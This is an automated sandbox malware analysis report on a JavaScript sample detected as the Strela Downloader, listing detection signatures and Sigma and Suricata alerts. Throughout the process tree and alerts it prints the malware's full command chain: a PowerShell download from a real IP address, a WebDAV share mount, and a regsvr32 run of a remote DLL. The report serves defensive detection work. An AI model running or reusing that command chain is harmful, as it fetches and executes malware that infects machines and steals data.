Edit tour

Windows Analysis Report
18058273772912511871.js

Overview

General Information

Sample name:	18058273772912511871.js
Analysis ID:	1588837
MD5:	ce73d0348536425c2ed83974a3ae20ff
SHA1:	4a9d78c1fbaf5397d921e77ef825644861e82583
SHA256:	ad61e0006b525444172e92d06c145a24cc3a37bd9e933b494ebf2108532f3028
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1612 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2080 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3712 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2704 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1076 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 964 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,5949996619656126353,16474558184408985935,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5912 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5776 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5516 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1612	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2080, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3712, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2080, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3712, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", ProcessId: 1612, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5776, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 2080, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 2080, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 2080, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 2080, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 2080, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", ProcessId: 1612, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2080, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3712, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5912, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5776, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5516, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5912, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5776, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1612, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll, ProcessId: 2080, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:08:58.238311+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:09:00.881922+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:08:58.238311+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 18058273772912511871.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 18058273772912511871.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:08:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

